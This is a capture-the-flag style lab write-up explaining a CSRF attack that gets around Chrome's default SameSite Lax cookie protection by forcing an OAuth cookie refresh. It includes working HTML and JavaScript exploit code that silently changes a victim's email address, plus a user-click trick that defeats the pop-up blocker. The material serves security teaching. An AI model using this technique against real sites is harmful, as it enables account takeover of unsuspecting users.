SameSite Lax bypass via cookie refresh

Description

This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.

The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter

Approach

After accessing the lab, I tried to log in with Wiener's credentials and noticed it uses OAuth-based login. After logging in, I attempted to change my email to see what the request looked like:

POST /my-account/change-email HTTP/2
Host: 0ad600be03a35cce819e4d97007a0016.web-security-academy.net
Cookie: session=hhdB29jksyjDP3bwvguUtC85oLcEpSr7
...

email=qwe%40qwe.com

s I observed, there were no anti-CSRF tokens to protect against CSRF, indicating that /change-email is likely vulnerable to CSRF attacks. I then checked for any SameSite protections by examining various requests and responses but found none. This led me to conclude that since the website doesn't set a SameSite attribute for cookies, the browser applies the default Lax protection. Given that the victim uses Chrome, which defaults to Lax, there is a notable gap: Chrome doesn't apply these restrictions for the first 120 seconds on top-level POST requests.

To exploit this, I devised a plan to make the victim reload a page that ensures they are redirected to the OAuth-based login to get a new cookie and start the 120-second timer. This needs to be done in a different window of my exploit so as not to interrupt the CSRF exploit. The /social-login endpoint redirects users to the OAuth-based login, making it useful for my attack.

Here is my initial exploit:

<form method="POST" action="https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@qwe.qwe">
</form>
<script>

    window.open('https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    
    function changeEmail(){
        document.forms[0].submit();
    }
</script>

However, when testing, I noticed the browser blocked the prompt for a new window. To bypass this, I modified the script to wait for a user interaction, such as a click, to open the new window:

<form method="POST" action="https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@qwe.qwe">
</form>
<script>
    window.onclick = () => {
    window.open('https://0ad600be03a35cce819e4d97007a0016.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
}
    
    

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

This timer waits for access to the OAuth-based login and the acquisition of a new cookie. After storing and delivering this exploit to the victim, I observed that the lab was solved, confirming the email change of the victim.